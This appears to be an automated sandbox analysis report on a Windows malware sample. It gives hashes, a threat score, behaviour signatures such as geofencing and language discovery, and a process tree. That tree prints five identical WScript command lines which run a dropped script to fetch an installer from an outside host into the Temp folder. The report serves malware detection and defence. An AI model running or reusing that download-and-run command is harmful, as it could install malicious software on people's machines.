Analysis

  • max time kernel
    135s
  • max time network
    140s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/09/2024, 20:57

General

  • Target

    f6d885fd766bea14a67d5302ca3d258f_JaffaCakes118.exe

  • Size

    184KB

  • MD5

    f6d885fd766bea14a67d5302ca3d258f

  • SHA1

    044e4aa23ea461d70f73bd9bcd5365d0c9ded3f8

  • SHA256

    5a531abdbc9327c04035951f175682d0272c0c62f484b8adb7e0c8fc97fe397b

  • SHA512

    0d7ed97b9c05cff41fc81597a4cd932e1d2e3c8ee0a9d8108fafb7d43448e46d2db52558f87091832048a90c1d11085f6eaa1161cd220b7568f32c8c5d903cf2

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3l:/7BSH8zUB+nGESaaRvoB7FJNndns

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 5 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 1 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f6d885fd766bea14a67d5302ca3d258f_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\f6d885fd766bea14a67d5302ca3d258f_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:1580
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufAFD7.js" http://www.djapp.info/?domain=XCBoCmjxJa.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufAFD7.exe
      2⤵
      • Blocklisted process makes network request
      • System Location Discovery: System Language Discovery
      PID:1852
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufAFD7.js" http://www.djapp.info/?domain=XCBoCmjxJa.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufAFD7.exe
      2⤵
      • Blocklisted process makes network request
      • System Location Discovery: System Language Discovery
      PID:4308
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufAFD7.js" http://www.djapp.info/?domain=XCBoCmjxJa.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufAFD7.exe
      2⤵
      • Blocklisted process makes network request
      • System Location Discovery: System Language Discovery
      PID:392
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufAFD7.js" http://www.djapp.info/?domain=XCBoCmjxJa.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufAFD7.exe
      2⤵
      • Blocklisted process makes network request
      • System Location Discovery: System Language Discovery
      PID:4144
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufAFD7.js" http://www.djapp.info/?domain=XCBoCmjxJa.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fufAFD7.exe
      2⤵
      • Blocklisted process makes network request
      • System Location Discovery: System Language Discovery
      PID:640

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\fufAFD7.js

    Filesize

    3KB

    MD5

    3813cab188d1de6f92f8b82c2059991b

    SHA1

    4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

    SHA256

    a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

    SHA512

    83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76